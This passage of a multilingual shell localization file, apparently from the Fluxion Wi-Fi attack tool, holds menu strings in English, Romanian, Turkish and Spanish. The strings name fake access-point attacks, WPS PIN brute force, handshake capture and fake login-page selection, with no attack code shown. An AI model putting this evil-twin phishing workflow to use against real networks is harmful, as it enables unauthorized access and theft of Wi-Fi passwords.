selection_2="Wähle dein Angriffsziel. Um neuzuscannen tippe $red r$transparent"
setinterface
}
function english {
header_setinterface="Select an interface"
setinterface_error="There are no wireless cards, quit..."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_choosescan="Select channel"
choosescan_option_1="All channels "
choosescan_option_2="Specific channel(s)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
scanchan_option_1="Single channel"
scanchan_option_2="Multiple channels"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_scan="WIFI Monitor"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_scanchan="Scanning Target"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_askAP="Select Attack Option"
askAP_option_1="FakeAP - Hostapd ("$red"Recommended)"
askAP_option_2="FakeAP - airbase-ng (Slower connection)"
askAP_option_3="WPS-SLAUGHTER - Bruteforce WPS Pin"
askAP_option_4="Bruteforce - (Handshake is required)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_askauth="METHOD TO VERIFY THE PASSWORD"
askauth_option_1="Handshake ("$red"Recommended)"
askauth_option_2="Wpa_supplicant(More failures)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_deauthforce="Handshake check"
deauthforce_option_1="aircrack-ng (Miss chance)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_deauthMENU="*Capture Handshake*"
deauthMENU_option_1="Check handshake"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_webinterface="Select your option"
header_ConnectionRESET="Select Login Page"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
general_back="Back"
general_error_1="Not_Found"
general_case_error="Unknown option. Choose again"
general_exitmode="Cleaning and closing"
general_exitmode_1="Disabling monitoring interface"
general_exitmode_2="Disabling interface"
general_exitmode_3="Disabling "$grey"forwarding of packets"
general_exitmode_4="Cleaning "$grey"iptables"
general_exitmode_5="Restoring "$grey"tput"
general_exitmode_6="Restarting "$grey"Network-Manager"
general_exitmode_7="Cleanup performed successfully!"
general_exitmode_8="Thanks for using fluxion"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
selection_1="Active clients"
selection_2="Select target. For rescan type$red r$transparent"
setinterface
}
function romanian {
header_setinterface="Selecteaza o interfata"
setinterface_error="Nu este nici o placa de retea wireless, iesire..."
#
header_choosescan="Selecteaza canalul"
choosescan_option_1="Toate canalele "
choosescan_option_2="Canal specific(s)"
#
scanchan_option_1="Un singur canal"
scanchan_option_2="Canale multiple"
#
header_scan="WIFI Monitor"
#
header_scanchan="Scaneaza tinta"
#
header_askAP="Selecteaza optiunea de atac"
askAP_option_1="FakeAP - Hostapd ("$red"Recomandat)"
askAP_option_2="FakeAP - airbase-ng (Conexiune mai lenta)"
askAP_option_3="WPS-SLAUGHTER - Fortare bruta a pinului WPS"
askAP_option_4="Bruteforce - (Handshake este necesara)"
#
header_askauth="METODA PENTRU VERIFICAREA PAROLEI"
askauth_option_1="Handshake ("$red"Recomandat)"
askauth_option_2="Wpa_supplicant(Mai multe eșecuri)"
#
header_deauthforce="Verificare Handshake"
deauthforce_option_1="aircrack-ng (Sansa ratata)"
#
header_deauthMENU="*Capturare Handshake*"
deauthMENU_option_1="Verificare handshake"
#
handshakelocation_1="Handshake locatie (Examplu: $red$WORK_DIR.cap$transparent)"
handshakelocation_2="Apasa ${yellow}ENTER$transparent to skip"
#
header_webinterface="Selecteaza optiunea ta"
header_ConnectionRESET="Selecteaza pagina de logare"
#
general_back="Inapoi"
general_error_1="Nu a fost gasit"
general_case_error="Optiune necunoscuta. Incearca din nou"
general_exitmode="Curatire si inchidere"
general_exitmode_1="Dezacticati interfata monitorizata"
general_exitmode_2="Dezactivati interfata"
general_exitmode_3="Dezactivati "$grey"forwarding of packets"
general_exitmode_4="Curatire "$grey"iptables"
general_exitmode_5="Restaurare "$grey"tput"
general_exitmode_6="Restartare "$grey"Network-Manager"
general_exitmode_7="Curatire efectuata cu succes!"
general_exitmode_8="Multumesc pentru ca ati folosit fluxion"
#
selection_1="Clienti activi"
selection_2="Selecteaza tinta. Pentru rescanare tastati$red r$transparent"
setinterface
}
function turkish {
header_setinterface="Bir Ag Secin"
setinterface_error="Wireless adaptorunuz yok, program kapatiliyor..."
#
header_choosescan="Kanal Sec"
choosescan_option_1="Tum Kanallar "
choosescan_option_2="Sectigim Kanal ya da Kanallar"
#
scanchan_option_1="Tek Kanal"
scanchan_option_2="Coklu Kanal"
#
header_scan="Wifi Goruntule"
#
header_scanchan="Hedef Taraniyor"
#
header_askAP="Saldiri Tipi Secin"
askAP_option_1="SahteAP - Hostapd ("$red"Tavsiye Edilen)"
askAP_option_2="SahteAP - airbase-ng (Yavas Baglanti)"
askAP_option_3="WPS-SLAUGHTER(Wps Katliam) - Kabakuvvet ile WPS Pin"
askAP_option_4="Kabakuvvet - (Handshake Gereklidir)"
#
header_askauth="Sifre Kontrol Metodu"
askauth_option_1="Handshake ("$red"Tavsiye Edilen)"
askauth_option_2="Wpa_supplicant(Hata Orani Yuksek)"
#
header_deauthforce="Handshake Kontrol"
deauthforce_option_1="aircrack-ng (Hata Sansı Var)"
#
header_deauthMENU="*Kaydet Handshake*"
deauthMENU_option_1="Kontrol Et handshake"
#
handshakelocation_1="handshake Dizini (Ornek: $red$WORK_DIR.cap$transparent)"
handshakelocation_2="Tusa Bas ${yellow}ENTER$transparent Gecmek icin"
#
header_webinterface="Secenegi Sec"
header_ConnectionRESET="Giris Sayfasini Sec"
#
general_back="Geri"
general_error_1="Bulunamadi"
general_case_error="Bilinmeyen Secenek. Tekrar Seciniz"
general_exitmode="Temizleniyor ve Kapatiliyor"
general_exitmode_1="Monitor modu kapatiliyor"
general_exitmode_2="Ag Arayuzu kapatiliyor"
general_exitmode_3="Kapatiliyor "$grey"forwarding of packets"
general_exitmode_4="Temizleniyor "$grey"iptables"
general_exitmode_5="Yenileniyor "$grey"tput"
general_exitmode_6="Tekrar Baslatiliyor "$grey"Network-Manager"
general_exitmode_7="Temizlik Basariyla Tamamlandi!"
general_exitmode_8="Fluxion kullandiginiz icin tesekkurler."
#
selection_1="Aktif kullanicilar"
selection_2="Tekrar taramak icin Hedef seciniz type$red r$transparent"
setinterface
}
function spain {
header_setinterface="Seleccione una interfase"
setinterface_error="No hay tarjetas inalambricas, saliendo..."
#
header_choosescan="Seleccione canal"
choosescan_option_1="Todos los canales "
choosescan_option_2="Canal(es) específico(s)"
#
scanchan_option_1="Canal único"
scanchan_option_2="Canales múltiples"
#
header_scan="WIFI Monitor"
#
header_scanchan="Escaneando objetivo"
#
header_askAP="Seleccione Opción de Ataque"
askAP_option_1="FakeAP - Hostapd ("$red"Recomendado)"
askAP_option_2="FakeAP - airbase-ng (Conexión más lenta)"
askAP_option_3="WPS-SLAUGHTER - Fuerza Bruta al Pin WPS"
askAP_option_4="Bruteforce - (Se requiere handshake)"
#
header_askauth="MÉTODO PARA VERIFICAR CONTRASEÑA"
askauth_option_1="Handshake ("$red"Recomendado)"
askauth_option_2="Wpa_supplicant(Más Fallas)"
#
header_deauthforce="Chequeo de Handshake"
deauthforce_option_1="aircrack-ng (Posibilidad de error)"
#
header_deauthMENU="*Capturar Handshake*"
deauthMENU_option_1="Chequear handshake"
#
handshakelocation_1="ubicación del handshake (Ejemplo: $red$WORK_DIR.cap$transparent)"
handshakelocation_2="Presione ${yellow}ENTER$transparent para saltar"
#
header_webinterface="Seleccione su opción"
header_ConnectionRESET="Seleccione página de Login"